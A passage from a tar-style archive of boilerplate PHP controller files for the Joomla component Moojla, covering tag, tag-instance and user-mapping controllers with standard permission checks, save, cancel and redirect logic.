		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');
		$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));

		if ($this->ref || $this->refid || $canReturn)
		{
			// to make sure the item is checkedin on redirect
			$this->task = 'save';
		}

		$saved = parent::save($key, $urlVar);

		// This is not needed since parent save already does this
		// Due to the ref and refid implementation we need to add this
		if ($canReturn)
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view=' . (string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $saved;
	}

	/**
	 * Function that allows child controller access to model data
	 * after the data has been saved.
	 *
	 * @param   JModel  &$model     The data model object.
	 * @param   array   $validData  The validated data.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	protected function postSaveHook(JModelLegacy $model, $validData = array())
	{
		return;
	}

}
controllers/tags.php000064400000003523151165724360010576 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		tags.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Tags Controller
 */
class MoojlaControllerTags extends JControllerAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_MOOJLA_TAGS';

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Tag', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
controllers/tag_instance.php000064400000020444151165724360012300
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		tag_instance.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Tag_instance Controller
 */
class MoojlaControllerTag_instance extends JControllerForm
{
	/**
	 * Current or most recently performed task.
	 *
	 * @var    string
	 * @since  12.2
	 * @note   Replaces _task.
	 */
	protected $task;

	/**
	 * Class constructor.
	 *
	 * @param   array  $config  A named array of configuration variables.
	 *
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		$this->view_list = 'Tag_instances'; // safeguard for setting
the return view listing to the main view.
		parent::__construct($config);
	}

        /**
	 * Method override to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowAdd($data = array())
	{
		// Get user object.
		$user = JFactory::getUser();
		// Access check.
		$access = $user->authorise('tag_instance.access',
'com_moojla');
		if (!$access)
		{
			return false;
		}

		// In the absense of better information, revert to the component
permissions.
		return parent::allowAdd($data);
	}

	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// get user object.
		$user = JFactory::getUser();
		// get record id.
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;


		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit',
'com_moojla.tag_instance.' . (int) $recordId);
			if (!$permission)
			{
				if ($user->authorise('core.edit.own',
'com_moojla.tag_instance.' . $recordId))
				{
					// Now test the owner is the user.
					$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
					if (empty($ownerId))
					{
						// Need to do a lookup from the model.
						$record = $this->getModel()->getItem($recordId);

						if (empty($record))
						{
							return false;
						}
						$ownerId = $record->created_by;
					}

					// If the owner matches 'me' then allow.
					if ($ownerId == $user->id)
					{
						if ($user->authorise('core.edit.own',
'com_moojla'))
						{
							return true;
						}
					}
				}
				return false;
			}
		}
		// Since there is no permission, revert to the component permissions.
		return parent::allowEdit($data, $key);
	}

	/**
	 * Gets the URL arguments to append to an item redirect.
	 *
	 * @param   integer  $recordId  The primary key id for the item.
	 * @param   string   $urlVar    The name of the URL variable for the id.
	 *
	 * @return  string  The arguments to append to the redirect URL.
	 *
	 * @since   1.6
	 */
	protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
	{
		// get the referral options (old method use return instead see parent)
		$ref = $this->input->get('ref', 0, 'string');
		$refid = $this->input->get('refid', 0, 'int');

		// get redirect info.
		$append = parent::getRedirectToItemAppend($recordId, $urlVar);

		// set the referral options
		if ($refid && $ref)
                {
			$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
		}
		elseif ($ref)
		{
			$append = '&ref='. (string)$ref . $append;
		}

		return $append;
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean   True if successful, false otherwise and internal
error is set.
	 *
	 * @since   2.5
	 */
	public function batch($model = null)
	{
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		// Set the model
		$model = $this->getModel('Tag_instance', '',
array());

		// Preset the redirect
		$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=tag_instances'
. $this->getRedirectToListAppend(), false));

		return parent::batch($model);
	}

	/**
	 * Method to cancel an edit.
	 *
	 * @param   string  $key  The name of the primary key of the URL variable.
	 *
	 * @return  boolean  True if access level checks pass, false otherwise.
	 *
	 * @since   12.2
	 */
	public function cancel($key = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');

		$cancel = parent::cancel($key);

		if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view='.(string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $cancel;
	}

	/**
	 * Method to save a record.
	 *
	 * @param   string  $key     The name of the primary key of the URL
variable.
	 * @param   string  $urlVar  The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return  boolean  True if successful, false otherwise.
	 *
	 * @since   12.2
	 */
	public function save($key = null, $urlVar = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');
		$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));

		if ($this->ref || $this->refid || $canReturn)
		{
			// to make sure the item is checkedin on redirect
			$this->task = 'save';
		}

		$saved = parent::save($key, $urlVar);

		// This is not needed since parent save already does this
		// Due to the ref and refid implementation we need to add this
		if ($canReturn)
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view=' . (string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $saved;
	}

	/**
	 * Function that allows child controller access to model data
	 * after the data has been saved.
	 *
	 * @param   JModel  &$model     The data model object.
	 * @param   array   $validData  The validated data.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	protected function postSaveHook(JModelLegacy $model, $validData = array())
	{
		return;
	}

}
controllers/tag_instances.php000064400000003600151165724360012456
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		tag_instances.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Tag_instances Controller
 */
class MoojlaControllerTag_instances extends JControllerAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_MOOJLA_TAG_INSTANCES';

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Tag_instance', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
controllers/user_fields_map.php000064400000003612151165724360013000
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		user_fields_map.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * User_fields_map Controller
 */
class MoojlaControllerUser_fields_map extends JControllerAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_MOOJLA_USER_FIELDS_MAP';

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'User_field_map', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
controllers/user_field_map.php000064400000020265151165724400012613
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		user_field_map.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * User_field_map Controller
 */
class MoojlaControllerUser_field_map extends JControllerForm
{
	/**
	 * Current or most recently performed task.
	 *
	 * @var    string
	 * @since  12.2
	 * @note   Replaces _task.
	 */
	protected $task;

	/**
	 * Class constructor.
	 *
	 * @param   array  $config  A named array of configuration variables.
	 *
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		$this->view_list = 'User_fields_map'; // safeguard for
setting the return view listing to the main view.
		parent::__construct($config);
	}

        /**
	 * Method override to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowAdd($data = array())
	{
		// Get user object.
		$user = JFactory::getUser();

		// In the absense of better information, revert to the component
permissions.
		return parent::allowAdd($data);
	}

	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// get user object.
		$user = JFactory::getUser();
		// get record id.
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;


		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit',
'com_moojla.user_field_map.' . (int) $recordId);
			if (!$permission)
			{
				if ($user->authorise('core.edit.own',
'com_moojla.user_field_map.' . $recordId))
				{
					// Now test the owner is the user.
					$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
					if (empty($ownerId))
					{
						// Need to do a lookup from the model.
						$record = $this->getModel()->getItem($recordId);

						if (empty($record))
						{
							return false;
						}
						$ownerId = $record->created_by;
					}

					// If the owner matches 'me' then allow.
					if ($ownerId == $user->id)
					{
						if ($user->authorise('core.edit.own',
'com_moojla'))
						{
							return true;
						}
					}
				}
				return false;
			}
		}
		// Since there is no permission, revert to the component permissions.
		return parent::allowEdit($data, $key);
	}

	/**
	 * Gets the URL arguments to append to an item redirect.
	 *
	 * @param   integer  $recordId  The primary key id for the item.
	 * @param   string   $urlVar    The name of the URL variable for the id.
	 *
	 * @return  string  The arguments to append to the redirect URL.
	 *
	 * @since   1.6
	 */
	protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
	{
		// get the referral options (old method use return instead see parent)
		$ref = $this->input->get('ref', 0, 'string');
		$refid = $this->input->get('refid', 0, 'int');

		// get redirect info.
		$append = parent::getRedirectToItemAppend($recordId, $urlVar);

		// set the referral options
		if ($refid && $ref)
                {
			$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
		}
		elseif ($ref)
		{
			$append = '&ref='. (string)$ref . $append;
		}

		return $append;
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean   True if successful, false otherwise and internal
error is set.
	 *
	 * @since   2.5
	 */
	public function batch($model = null)
	{
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		// Set the model
		$model = $this->getModel('User_field_map', '',
array());

		// Preset the redirect
		$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=user_fields_map'
. $this->getRedirectToListAppend(), false));

		return parent::batch($model);
	}

	/**
	 * Method to cancel an edit.
	 *
	 * @param   string  $key  The name of the primary key of the URL variable.
	 *
	 * @return  boolean  True if access level checks pass, false otherwise.
	 *
	 * @since   12.2
	 */
	public function cancel($key = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');

		$cancel = parent::cancel($key);

		if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view='.(string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $cancel;
	}

	/**
	 * Method to save a record.
	 *
	 * @param   string  $key     The name of the primary key of the URL
variable.
	 * @param   string  $urlVar  The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return  boolean  True if successful, false otherwise.
	 *
	 * @since   12.2
	 */
	public function save($key = null, $urlVar = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');
		$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));

		if ($this->ref || $this->refid || $canReturn)
		{
			// to make sure the item is checkedin on redirect
			$this->task = 'save';
		}

		$saved = parent::save($key, $urlVar);

		// This is not needed since parent save already does this
		// Due to the ref and refid implementation we need to add this
		if ($canReturn)
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view=' . (string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $saved;
	}

	/**
	 * Function that allows child controller access to model data
	 * after the data has been saved.
	 *
	 * @param   JModel  &$model     The data model object.
	 * @param   array   $validData  The validated data.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	protected function postSaveHook(JModelLegacy $model, $validData = array())
	{
		return;
	}

}
controllers/user_map.php000064400000020324151165724400011444
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		user_map.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * User_map Controller
 */
class MoojlaControllerUser_map extends JControllerForm
{
	/**
	 * Current or most recently performed task.
	 *
	 * @var    string
	 * @since  12.2
	 * @note   Replaces _task.
	 */
	protected $task;

	/**
	 * Class constructor.
	 *
	 * @param   array  $config  A named array of configuration variables.
	 *
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		$this->view_list = 'User_maps'; // safeguard for setting the
return view listing to the main view.
		parent::__construct($config);
	}


/***[JCBGUI.admin_view.php_controller.130.$$$$]***/
///***[/JCBGUI$$$$]***/


        /**
	 * Method override to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowAdd($data = array())
	{
		// Get user object.
		$user = JFactory::getUser();

		// In the absense of better information, revert to the component
permissions.
		return parent::allowAdd($data);
	}

	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// get user object.
		$user = JFactory::getUser();
		// get record id.
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;


		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit',
'com_moojla.user_map.' . (int) $recordId);
			if (!$permission)
			{
				if ($user->authorise('core.edit.own',
'com_moojla.user_map.' . $recordId))
				{
					// Now test the owner is the user.
					$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
					if (empty($ownerId))
					{
						// Need to do a lookup from the model.
						$record = $this->getModel()->getItem($recordId);

						if (empty($record))
						{
							return false;
						}
						$ownerId = $record->created_by;
					}

					// If the owner matches 'me' then allow.
					if ($ownerId == $user->id)
					{
						if ($user->authorise('core.edit.own',
'com_moojla'))
						{
							return true;
						}
					}
				}
				return false;
			}
		}
		// Since there is no permission, revert to the component permissions.
		return parent::allowEdit($data, $key);
	}

	/**
	 * Gets the URL arguments to append to an item redirect.
	 *
	 * @param   integer  $recordId  The primary key id for the item.
	 * @param   string   $urlVar    The name of the URL variable for the id.
	 *
	 * @return  string  The arguments to append to the redirect URL.
	 *
	 * @since   1.6
	 */
	protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
	{
		// get the referral options (old method use return instead see parent)
		$ref = $this->input->get('ref', 0, 'string');
		$refid = $this->input->get('refid', 0, 'int');

		// get redirect info.
		$append = parent::getRedirectToItemAppend($recordId, $urlVar);

		// set the referral options
		if ($refid && $ref)
                {
			$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
		}
		elseif ($ref)
		{
			$append = '&ref='. (string)$ref . $append;
		}

		return $append;
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean   True if successful, false otherwise and internal
error is set.
	 *
	 * @since   2.5
	 */
	public function batch($model = null)
	{
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		// Set the model
		$model = $this->getModel('User_map', '', array());

		// Preset the redirect
		$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=user_maps'
. $this->getRedirectToListAppend(), false));

		return parent::batch($model);
	}

	/**
	 * Method to cancel an edit.
	 *
	 * @param   string  $key  The name of the primary key of the URL variable.
	 *
	 * @return  boolean  True if access level checks pass, false otherwise.
	 *
	 * @since   12.2
	 */
	public function cancel($key = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');

		$cancel = parent::cancel($key);

		if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view='.(string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $cancel;
	}

	/**
	 * Method to save a record.
	 *
	 * @param   string  $key     The name of the primary key of the URL
variable.
	 * @param   string  $urlVar  The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return  boolean  True if successful, false otherwise.
	 *
	 * @since   12.2
	 */
	public function save($key = null, $urlVar = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');
		$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));

		if ($this->ref || $this->refid || $canReturn)
		{
			// to make sure the item is checkedin on redirect
			$this->task = 'save';
		}

		$saved = parent::save($key, $urlVar);

		// This is not needed since parent save already does this
		// Due to the ref and refid implementation we need to add this
		if ($canReturn)
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view=' . (string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $saved;
	}

	/**
	 * Function that allows child controller access to model data
	 * after the data has been saved.
	 *
	 * @param   JModel  &$model     The data model object.
	 * @param   array   $validData  The validated data.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	protected function postSaveHook(JModelLegacy $model, $validData = array())
	{
		return;
	}

}
controllers/user_maps.php000064400000052557151165724400011644
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		user_maps.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * User_maps Controller
 */
class MoojlaControllerUser_maps extends JControllerAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
